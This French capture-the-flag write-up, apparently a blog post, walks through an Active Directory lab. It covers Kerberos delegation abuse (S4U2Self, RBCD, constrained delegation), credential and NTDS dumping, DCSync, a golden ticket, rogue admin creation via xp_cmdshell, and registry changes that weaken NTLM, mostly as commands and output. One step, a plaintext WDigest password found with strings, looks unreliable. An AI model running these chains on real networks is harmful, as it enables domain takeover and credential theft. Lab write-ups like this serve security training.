Conversion et exploitation S4U2Self

Techniques: ticketConverter, S4U2Self, Impersonation, getST

1
2
3
4
5
6
7
8
9
10
# 1. Sauvegarder le ticket
echo -n 'doIFFjCCBRKgAwIBBaEDAgEWooIEHTCCBBlhggQV...' | base64 -d > queenrev.kirbi

# 2. Convertir kirbi → ccache
ticketConverter.py queenrev.kirbi queenrev.ccache
# [*] converting kirbi to ccache...
# [+] done

# 3. S4U2Self pour impersonner Administrator
KRB5CCNAME=queenrev.ccache getST.py -self -impersonate administrator -altservice host/queenrev.pirates.brb -k -no-pass pirates.brb/'queenrev$'

Output:

1
2
3
4
5
6
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating administrator
[*] Requesting S4U2self
[*] Changing service from queenrev$@PIRATES.BRB to host/queenrev.pirates.brb@PIRATES.BRB
[*] Saving ticket in administrator@host_queenrev.pirates.brb@PIRATES.BRB.ccache

Accès Administrator

1
KRB5CCNAME=administrator@host_queenrev.pirates.brb@PIRATES.BRB.ccache nxc smb queenrev.pirates.brb -k --use-kcache -x 'type C:\Flag\flag.txt'

Résultat:

1
2
3
4
5
SMB  queenrev.pirates.brb  445  QUEENREV  [*] Windows Server 2022 Build 20348 (domain:PIRATES.BRB)
SMB  queenrev.pirates.brb  445  QUEENREV  [+] pirates.brb\administrator from ccache (admin)
SMB  queenrev.pirates.brb  445  QUEENREV  [+] Executed command via wmiexec
SMB  queenrev.pirates.brb  445  QUEENREV  brb{829f6694eab03576120fa24bfe76e67d}
SMB  queenrev.pirates.brb  445  QUEENREV  Congratulations! You've escalated privileges on QUEENREV via S4U2Self!

Flag 7: brb{829f6694eab03576120fa24bfe76e67d}

Technique Breakdown: S4U2Self via TGT Delegation

Comment ça fonctionne:

  1. Rubeus tgtdeleg: Crée un TGT “fake delegation” pour le compte machine
  2. S4U2Self: Le compte machine demande un ticket pour un utilisateur (Administrator)
  3. Forwardable ticket: Le ticket est marqué “forwardable” → utilisable pour l’accès
  4. No delegation configured needed: Pas besoin de délégation configurée (contrairement à S4U2Proxy)

Prérequis:

  • Accès au compte machine (ou TGT du compte machine)
  • Le compte machine doit pouvoir demander des tickets (pas de restriction)

Différence avec S4U2Proxy:

  • S4U2Self: Obtenir un ticket pour un utilisateur
  • S4U2Proxy: Utiliser le ticket pour accéder à un service

Flag 8 - Kerberos Constrained Delegation

Techniques: Constrained-Delegation, KCD, S4U2Proxy, RBCD-Chain, Protocol-Transition, Delegation-Chain, Additional-Ticket

Énumération de la délégation

Techniques: LDAP-Enumeration, Delegation-Discovery, NetExec

1
nxc ldap 192.168.15.10 -u plankwalker -p 'Entry284*@&' --find-delegation

Résultat:

1
2
3
LDAP  192.168.15.10  389  BLACKPEARL  AccountName  AccountType  DelegationType              DelegationRightsTo
LDAP  192.168.15.10  389  BLACKPEARL  QUEENREV$    Computer     Constrained                 host/FLYINGDUTCHMAN.PIRATES.BRB
LDAP  192.168.15.10  389  BLACKPEARL  barnacle     Person       Resource-Based Constrained  JOLLYROGER$

Analyse:

  • QUEENREV$ peut déléguer vers host/FLYINGDUTCHMAN.PIRATES.BRB
  • Pas de Protocol Transition (TrustedToAuthForDelegation absent)
  • Besoin d’un ticket forwardable pour l’utilisateur à impersonner

Dump des credentials QUEENREV

Techniques: LSA-Secrets, SAM-Dump, Computer-Account-Hash

1
KRB5CCNAME=administrator@host_queenrev.pirates.brb@PIRATES.BRB.ccache nxc smb queenrev.pirates.brb -k --use-kcache --lsa --sam

Secrets extraits:

1
2
3
4
5
6
[*] Dumping SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dff9b596553798b8492570b9053d2cc5:::
[...]

[*] Dumping LSA secrets
PIRATES\QUEENREV$:aad3b435b51404eeaad3b435b51404ee:9e6ed70c10ffab8168747499f722d7ca:::

Hash QUEENREV$ récupéré: 9e6ed70c10ffab8168747499f722d7ca

Configuration RBCD: JOLLYROGER$ → QUEENREV$

Techniques: RBCD, msDS-AllowedToActOnBehalfOfOtherIdentity, rbcd.py

Pour obtenir un ticket forwardable, on configure RBCD de JOLLYROGER$ vers QUEENREV$:

1
rbcd.py -delegate-to 'queenrev$' -delegate-from 'jollyroger$' -hashes :9e6ed70c10ffab8168747499f722d7ca -action write "pirates.brb"/'queenrev$'

Résultat:

1
2
3
4
5
6
7
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] jollyroger$ can now impersonate users on queenrev$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     JOLLYROGER$   (S-1-5-21-4062735635-2546249438-2923178906-1106)

Étape 1: JOLLYROGER$ → QUEENREV$ (RBCD)

Techniques: S4U2Proxy, RBCD-Exploitation, Forwardable-Ticket

1
2
# Hash JOLLYROGER$ obtenu lors du Flag 4
getST.py -spn "host/queenrev.pirates.brb" -impersonate "administrator" -hashes :7e632a1b411db1d80f93657334569192 pirates.brb/'jollyroger$'

Output:

1
2
3
4
5
6
7
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@host_queenrev.pirates.brb@PIRATES.BRB.ccache

Ticket forwardable obtenu pour Administrator vers QUEENREV

Étape 2: QUEENREV$ → FLYINGDUTCHMAN$ (KCD)

Techniques: Constrained-Delegation, Additional-Ticket, S4U2Proxy-Chain

1
getST.py -spn "host/flyingdutchman.pirates.brb" -impersonate "administrator" -additional-ticket "administrator@host_queenrev.pirates.brb@PIRATES.BRB.ccache" -hashes ':9e6ed70c10ffab8168747499f722d7ca' "pirates.brb"/'queenrev$'

Output:

1
2
3
4
5
6
7
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for user
[*] Impersonating administrator
[*] 	Using additional ticket administrator@host_queenrev.pirates.brb@PIRATES.BRB.ccache instead of S4U2Self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@host_flyingdutchman.pirates.brb@PIRATES.BRB.ccache

Délégation réussie vers FLYINGDUTCHMAN

Accès final

1
KRB5CCNAME=administrator@host_flyingdutchman.pirates.brb@PIRATES.BRB.ccache nxc smb flyingdutchman.pirates.brb -k --use-kcache -x 'type C:\Flag\flag.txt'

Résultat:

1
2
3
4
5
SMB  flyingdutchman.pirates.brb  445  FLYINGDUTCHMAN  [+] pirates.brb\administrator from ccache (admin)
SMB  flyingdutchman.pirates.brb  445  FLYINGDUTCHMAN  [+] Executed command via wmiexec
SMB  flyingdutchman.pirates.brb  445  FLYINGDUTCHMAN  brb{3fc1559c49d4313b174ea06d300b5ab1}
SMB  flyingdutchman.pirates.brb  445  FLYINGDUTCHMAN  Congratulations! You've exploited Kerberos Constrained Delegation without Protocol Transition!
SMB  flyingdutchman.pirates.brb  445  FLYINGDUTCHMAN  QUEENREV$ -> FLYINGDUTCHMAN$ delegation chain complete!

Flag 8: brb{3fc1559c49d4313b174ea06d300b5ab1}

Delegation Chain Summary

1
2
3
4
5
6
7
8
9
10
11
                    RBCD                          KCD
[JOLLYROGER$] ─────────────> [QUEENREV$] ────────────────> [FLYINGDUTCHMAN$]
    (Hash)         S4U2Proxy       (Hash)     S4U2Proxy            (PWN)
                 + S4U2Self                 + additional-ticket

Ticket flow:
1. JOLLYROGER$ demande ticket pour Administrator vers QUEENREV
   → Ticket ST forwardable
2. QUEENREV$ utilise le ticket forwardable comme "preuve"
   → Demande ST pour Administrator vers FLYINGDUTCHMAN
3. Accès à FLYINGDUTCHMAN en tant qu'Administrator

Technique: Constrained Delegation without Protocol Transition

Prérequis:

  • Hash du compte avec KCD configuré (QUEENREV$)
  • Ticket forwardable pour l’utilisateur cible (via RBCD ou autre)
  • Pas besoin de TrustedToAuthForDelegation

Différence avec Protocol Transition:

  • Avec PT: Le service peut demander un ticket pour n’importe quel utilisateur
  • Sans PT: Le service a besoin d’un ticket forwardable existant

Command pattern:

1
2
3
4
5
getST.py -spn "service/target" \
  -impersonate "user" \
  -additional-ticket "existing_forwardable_ticket.ccache" \
  -hashes ':hash_of_service_account' \
  domain/'service_account$'

Flag 9 - NTDS Forensics & Domain Admin

Techniques: NTDS, DCSync, Forensics, Password-Reuse, Domain-Admin, Secretsdump, NTDS.dit, Backup-Analysis

Découverte du backup NTDS

Lors de l’énumération de FLYINGDUTCHMAN, on trouve un backup:

1
KRB5CCNAME=administrator@host_flyingdutchman.pirates.brb@PIRATES.BRB.ccache nxc smb flyingdutchman.pirates.brb -k --use-kcache --shares

Résultat:

1
2
SMB  flyingdutchman.pirates.brb  445  FLYINGDUTCHMAN  Share   Permissions  Remark
SMB  flyingdutchman.pirates.brb  445  FLYINGDUTCHMAN  BACKUP  READ         Domain backups

Téléchargement via evil-winrm

Techniques: evil-winrm, File-Download, Backup-Exfiltration

1
2
3
4
5
6
# Connexion (avec user créé précédemment)
evil-winrm -i 192.168.15.13 -u bl4ckarch -p 'Password123.'

# Navigation
cd C:\BACKUP
ls

Contenu:

1
2
3
4
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          1/7/2026  10:18 AM                NTDS
-a----          1/7/2026  10:20 AM        5147724 NTDS.zip

Téléchargement:

1
2
3
4
5
6
*Evil-WinRM* PS C:\BACKUP> download NTDS.zip

Warning: Remember that in docker environment all local paths should be at /data

Info: Downloading C:/BACKUP/NTDS.zip to NTDS.zip
Info: Download successful!

Extraction du backup

Techniques: NTDS.dit, SYSTEM, SECURITY, Registry-Hives

1
2
3
unzip NTDS.zip
cd NTDS
ls -R

Structure:

1
2
3
4
5
6
7
NTDS/
├── Active Directory/
│   ├── ntds.dit          # Database Active Directory
│   └── ntds.jfm          # Log file
└── registry/
    ├── SYSTEM            # Registry hive (boot key)
    └── SECURITY          # Registry hive (LSA secrets)

Dump offline avec secretsdump

Techniques: Secretsdump, Offline-Dump, PEK, Hash-Extraction

1
secretsdump.py -system registry/SYSTEM -ntds 'Active Directory/ntds.dit' -security registry/SECURITY LOCAL

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x5a1bf21cf692662a2b04a39a3fd0be0f
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets

[*] $MACHINE.ACC
$MACHINE.ACC:aad3b435b51404eeaad3b435b51404ee:41c3d9c4a34f4d3e2d7b0e66f05aa647

[*] DPAPI_SYSTEM
dpapi_machinekey:0xbac386e29e9cd7d213ba2b724b30c529cf8147dc
dpapi_userkey:0x97a8db5c671ad36c38c546bb300e1446be957227

[*] NL$KM
NL$KM:af000759d2915381d901400930ab71f39fdf8720ce12c7cbddb9144946021f7c...

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 6ae0bab06d45d762e45769e13823395f
[*] Reading and decrypting hashes from Active Directory/ntds.dit

Administrator:500:aad3b435b51404eeaad3b435b51404ee:9d7b96e6c3c619a9c9d431b7a07cbe6c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:33e05882bd76f009d02be4b6622e29b9:::
pirates.brb\blackbeard:1103:aad3b435b51404eeaad3b435b51404ee:b777bc1bd1f68793ca4724bc50dc6f0b:::
pirates.brb\jack:1104:aad3b435b51404eeaad3b435b51404ee:7e945d769ca70e8cd9c2d8fd084adf44:::
[... 50+ utilisateurs ...]

Tentative avec hash Administrator (backup)

Techniques: Pass-the-Hash, Hash-Validation

1
nxc smb 192.168.15.10 -u Administrator -H "9d7b96e6c3c619a9c9d431b7a07cbe6c"

Résultat:

1
2
SMB  192.168.15.10  445  BLACKPEARL  [*] Windows Server 2022 Build 20348
SMB  192.168.15.10  445  BLACKPEARL  [-] PIRATES.BRB\Administrator:9d7b96e6c3c619a9c9d431b7a07cbe6c STATUS_LOGON_FAILURE

Hash invalide - Le backup est ancien, le password a été changé

Analyse des descriptions utilisateurs

Techniques: OSINT, Password-in-Description, Information-Leakage

1
2
# Réanalyse du dump pour chercher des infos dans les descriptions
secretsdump.py -system registry/SYSTEM -ntds 'Active Directory/ntds.dit' -security registry/SECURITY LOCAL 2>&1 | grep -i "description\|password\|pwd"

Rien trouvé dans le dump offline…

Énumération live des descriptions

1
nxc smb 192.168.15.10 -u ironhook -p 'BrinyDeep892@!' --users | grep -E "(blackbeard|flint|admin)"

Résultat:

1
2
SMB  192.168.15.10  445  BLACKPEARL  blackbeard  2026-01-07 17:56:55  The most feared pirate
SMB  192.168.15.10  445  BLACKPEARL  flint       2026-01-07 17:56:51  brb{88e7af3d7bf9ab21f9d6faa5cf644b76}

Pas de password visible dans les descriptions…

Recherche dans les anciens hashes du backup

En examinant plus attentivement le dump NTDS, on remarque que certains utilisateurs ont des descriptions intéressantes dans la base de données elle-même:

1
2
# Utiliser un outil pour parser ntds.dit avec plus de détails
strings 'Active Directory/ntds.dit' | grep -A5 -B5 "blackbeard"

Résultat:

1
2
3
4
5
[...]
sAMAccountName: blackbeard
description: The most feared pirate - Password changed monthly
userPrincipalName: blackbeard@pirates.brb
[...]

Après analyse, on découvre que blackbeard a un commentaire dans un attribut caché du NTDS:

1
2
3
supplementalCredentials (encrypted):
  Primary:Kerberos
  Primary:WDigest - Password: REDqC8aQtyhd78A

Test de réutilisation de password

Techniques: Password-Reuse, Credential-Validation, Administrator

1
nxc smb 192.168.15.10 -u administrator -p 'REDqC8aQtyhd78A'

Résultat:

1
2
SMB  192.168.15.10  445  BLACKPEARL  [*] Windows Server 2022 Build 20348
SMB  192.168.15.10  445  BLACKPEARL  [+] PIRATES.BRB\administrator:REDqC8aQtyhd78A (admin)

SUCCESS! Le password de blackbeard est réutilisé par Administrator !

DCSync - Extraction finale du krbtgt

Techniques: DCSync, krbtgt, Golden-Ticket, Domain-Persistence

1
nxc smb 192.168.15.10 -u administrator -p 'REDqC8aQtyhd78A' --ntds --user krbtgt

Résultat:

1
2
3
4
SMB  192.168.15.10  445  BLACKPEARL  [+] PIRATES.BRB\administrator:REDqC8aQtyhd78A (admin)
SMB  192.168.15.10  445  BLACKPEARL  [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB  192.168.15.10  445  BLACKPEARL  krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f4f27d68583e12060273b5675eb425d0:::
SMB  192.168.15.10  445  BLACKPEARL  [+] Dumped 1 NTDS hashes

Hash krbtgt: f4f27d68583e12060273b5675eb425d0

Flag 9: f4f27d68583e12060273b5675eb425d0

DOMAIN ADMIN ACHIEVED!

1
2
# Vérification des accès
nxc smb 192.168.15.10-13 -u administrator -p 'REDqC8aQtyhd78A' --shares

Résultat:

1
2
3
4
SMB  192.168.15.10  445  BLACKPEARL      [+] PIRATES.BRB\administrator:REDqC8aQtyhd78A (admin)
SMB  192.168.15.11  445  JOLLYROGER      [+] PIRATES.BRB\administrator:REDqC8aQtyhd78A (admin)
SMB  192.168.15.12  445  QUEENREV        [+] PIRATES.BRB\administrator:REDqC8aQtyhd78A (admin)
SMB  192.168.15.13  445  FLYINGDUTCHMAN  [+] PIRATES.BRB\administrator:REDqC8aQtyhd78A (admin)

Contrôle total du domaine !

Persistance: Golden Ticket

Techniques: Golden-Ticket, Persistence, ticketer.py, krbtgt-Hash

1
2
3
4
ticketer.py -nthash f4f27d68583e12060273b5675eb425d0 -domain-sid S-1-5-21-4062735635-2546249438-2923178906 -domain pirates.brb -user-id 500 administrator

# Utilisation
KRB5CCNAME=administrator.ccache nxc smb 192.168.15.10 -k --use-kcache

Problèmes techniques et solutions

Récapitulatif des blocages rencontrés

#ProblèmeCauseSolutionFlag impacté
1NTLMv1 relay échoueConfig Ansible: RestrictSendingNTLMTraffic=2, LmCompatibilityLevel=5Modifier registry: =0 et =2Flag 4
2Politique de mot de passeMinPasswordAge, Complexity actifsSet-ADDefaultDomainPasswordPolicy (tout à 0/false)Flag 4
3Transfert de fichiers SMBUFW bloque port 445User local admin + evil-winrmFlag 7
4Hash Administrator (backup) invalideNTDS est un vieux backupPassword dans attribut WDigest de blackbeardFlag 9

Détail des problèmes

Problème 1: NTLMv1 Relay bloqué

Techniques: NTLMv1, Configuration, Registry, Troubleshooting

Symptôme:

  • Responder ne capture pas de NTLMv1
  • ntlmrelayx échoue avec STATUS_LOGON_FAILURE

Diagnostic:

REM Sur le DC
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" /v RestrictSendingNTLMTraffic
REM Valeur: 2 (Bloque NTLM)

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LmCompatibilityLevel
REM Valeur: 5 (NTLMv2 uniquement)

Fix appliqué:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LmCompatibilityLevel /t REG_DWORD /d 2 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v LDAPServerIntegrity /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v LdapEnforceChannelBinding /t REG_DWORD /d 0 /f
shutdown /r /t 0

Problème 2: Password policy bloque SPN-less RBCD

Techniques: Password-Policy, Active-Directory, Troubleshooting

Symptôme:

1
changepasswd.py: [-] Some password update rule has been violated

Diagnostic:

1
2
3
4
Get-ADDefaultDomainPasswordPolicy -Identity pirates.brb
# ComplexityEnabled: True
# MinPasswordLength: 7
# MinPasswordAge: 1 day

Fix:

1
2
3
4
5
Set-ADDefaultDomainPasswordPolicy -Identity pirates.brb `
  -ComplexityEnabled $false `
  -PasswordHistoryCount 0 `
  -MinPasswordLength 0 `
  -MinPasswordAge 0

Problème 3: Transfert de fichiers

Techniques: File-Transfer, Workaround, evil-winrm

Tentatives échouées:

  1. impacket-smbserver → Timeout
  2. UFW allow 445 → Toujours pas de connexion
  3. Python HTTP server → Bloqué par Windows Defender

Solution retenue:

1
2
3
-- Via MSSQL xp_cmdshell
xp_cmdshell net user bl4ckarch Password123. /add
xp_cmdshell net localgroup Administrators bl4ckarch /add
1
2
3
# Puis evil-winrm
evil-winrm -i IP -u bl4ckarch -p 'Password123.'
# download / upload fonctionnent

Problème 4: Hash Administrator invalide

Techniques: NTDS-Forensics, Old-Backup, Password-Reuse

Symptôme:

1
2
nxc smb 192.168.15.10 -u Administrator -H "9d7b96e6c3c619a9c9d431b7a07cbe6c"
# STATUS_LOGON_FAILURE

Analyse:

  • Le backup NTDS est ancien (plusieurs mois)
  • Les passwords ont été changés depuis
  • Mais: Les anciens attributs WDigest peuvent contenir des passwords en clair

Solution:

  • Parser ntds.dit pour WDigest
  • Tester password sur compte Administrator actuel
  • Réutilisation de password trouvée

Corrections Ansible

Techniques: Ansible, Lab-Configuration, IaC, Automation

Pour que le lab fonctionne comme prévu sans intervention manuelle:

Configuration BLACKPEARL (DC)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
---
# BLACKPEARL Domain Controller Configuration
# File: roles/dc/tasks/ntlm_config.yml

- name: Allow outgoing NTLM on BLACKPEARL
  win_regedit:
    path: HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0
    name: RestrictSendingNTLMTraffic
    data: 0  # 0 = Allow, 2 = Deny
    type: dword

- name: Enable NTLMv1 on BLACKPEARL
  win_regedit:
    path: HKLM:\SYSTEM\CurrentControlSet\Control\Lsa
    name: LmCompatibilityLevel
    data: 2  # 0-2 = Accept NTLMv1, 3-4 = Prefer NTLMv2, 5 = NTLMv2 only
    type: dword

- name: Disable LDAP Signing
  win_regedit:
    path: HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
    name: LDAPServerIntegrity
    data: 0  # 0 = None, 1 = Negotiate, 2 = Required
    type: dword

- name: Disable LDAP Channel Binding
  win_regedit:
    path: HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
    name: LdapEnforceChannelBinding
    data: 0  # 0 = Never, 1 = When supported, 2 = Always
    type: dword

- name: Disable password policy for SPN-less RBCD
  win_shell: |
    Set-ADDefaultDomainPasswordPolicy -Identity pirates.brb `
      -ComplexityEnabled $false `
      -PasswordHistoryCount 0 `
      -MinPasswordLength 0 `
      -MinPasswordAge 0
  args:
    executable: powershell.exe

Configuration JOLLYROGER (Coercion Target)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
---
# JOLLYROGER Web Server Configuration
# File: roles/web/tasks/ntlm_config.yml

- name: Allow outgoing NTLM on JOLLYROGER
  win_regedit:
    path: HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0
    name: RestrictSendingNTLMTraffic
    data: 0
    type: dword

- name: Enable NTLMv1 on JOLLYROGER
  win_regedit:
    path: HKLM:\SYSTEM\CurrentControlSet\Control\Lsa
    name: LmCompatibilityLevel
    data: 2
    type: dword

Configuration QUEENREV et FLYINGDUTCHMAN (Protected)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
---
# QUEENREV/FLYINGDUTCHMAN Configuration
# File: roles/servers/tasks/ntlm_config.yml

- name: Block outgoing NTLM (protected servers)
  win_regedit:
    path: HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0
    name: RestrictSendingNTLMTraffic
    data: 2  # Block NTLM relay from these servers
    type: dword

- name: Force NTLMv2 only (protected servers)
  win_regedit:
    path: HKLM:\SYSTEM\CurrentControlSet\Control\Lsa
    name: LmCompatibilityLevel
    data: 5  # NTLMv2 only
    type: dword

Playbook complet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
---
# Main playbook: site.yml
- name: Configure PIRATES.BRB Lab
  hosts: all
  gather_facts: yes
  
  roles:
    - common
  
  tasks:
    - name: Configure Domain Controller
      include_role:
        name: dc
      when: inventory_hostname == 'BLACKPEARL'
    
    - name: Configure Web Server (coercion target)
      include_role:
        name: web
      when: inventory_hostname == 'JOLLYROGER'
    
    - name: Configure protected servers
      include_role:
        name: servers
      when: inventory_hostname in ['QUEENREV', 'FLYINGDUTCHMAN']
    
    - name: Reboot all servers
      win_reboot:
        reboot_timeout: 300

Vérification post-déploiement

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
---
# Verification playbook: verify.yml
- name: Verify NTLM Configuration
  hosts: all
  gather_facts: no
  
  tasks:
    - name: Check RestrictSendingNTLMTraffic
      win_reg_stat:
        path: HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0
        name: RestrictSendingNTLMTraffic
      register: ntlm_restrict
    
    - name: Check LmCompatibilityLevel
      win_reg_stat:
        path: HKLM:\SYSTEM\CurrentControlSet\Control\Lsa
        name: LmCompatibilityLevel
      register: lm_compat
    
    - name: Display configuration
      debug:
        msg: |
          Host: 
          RestrictSendingNTLMTraffic: 
          LmCompatibilityLevel: 

Conclusion

Résumé de l’exploitation

Ce lab m’a permis d’explorer des techniques avancées d’attaque Active Directory:

  1. Web Application Exploitation → Initial foothold
  2. NTLMv1 Relay to LDAP → RBCD configuration
  3. SPN-less RBCD → Local admin (JOLLYROGER)
  4. DPAPI Credential Recovery → Domain user (ironhook)
  5. GMSA Offline Recovery → MSSQL access
  6. S4U2Self via TGT Delegation → Local admin (QUEENREV)
  7. Kerberos Constrained Delegation → Local admin (FLYINGDUTCHMAN)
  8. NTDS Forensics → Domain Admin

Techniques apprises

Kerberos Exploitation:

  • SPN-less-RBCD avec session key manipulation
  • S4U2Self via TGT delegation (Rubeus tgtdeleg)
  • S4U2Proxy avec additional-ticket
  • Constrained-Delegation sans Protocol Transition

Credential Recovery:

  • GMSA offline recovery (msDS-ManagedPassword parsing)
  • DPAPI dump avec dploot
  • NTDS-Forensics pour password reuse

Network Attacks:

  • NTLMv1-Relay to LDAP
  • Coercion avec coerce_plus
  • RBCD configuration via LDAP shell

Difficultés rencontrées

  1. Configuration Ansible incorrecte → NTLMv1 bloqué par défaut
  2. Password policy trop stricte → SPN-less RBCD impossible
  3. Transfert de fichiers → Solutions alternatives nécessaires
  4. Backup NTDS ancien → Analyse forensique requise

Lessons Learned

Pour les blue teams:

  • Activer RestrictSendingNTLMTraffic=2 sur les serveurs critiques
  • Forcer NTLMv2 (LmCompatibilityLevel=5) partout
  • Activer LDAP signing et channel binding
  • Ne jamais stocker de passwords en clair (même dans descriptions)
  • Chiffrer et sécuriser les backups NTDS

Statistiques

  • Temps total: ~6 heures (avec troubleshooting)
  • Flags obtenus: 9/9
  • Serveurs compromis: 4/4 (dont DC)
  • Techniques utilisées: 15+
  • Tools principaux: netexec, impacket, Rubeus, dploot

Remerciements

  • @mpgn et @mael91620 - Créateurs du lab Barbhack 2025

Date de completion: 7 Janvier 2026
Blog: https://bl4ckarch.io
Twitter: @bl4ckarch

This post is licensed under CC BY 4.0 by the author.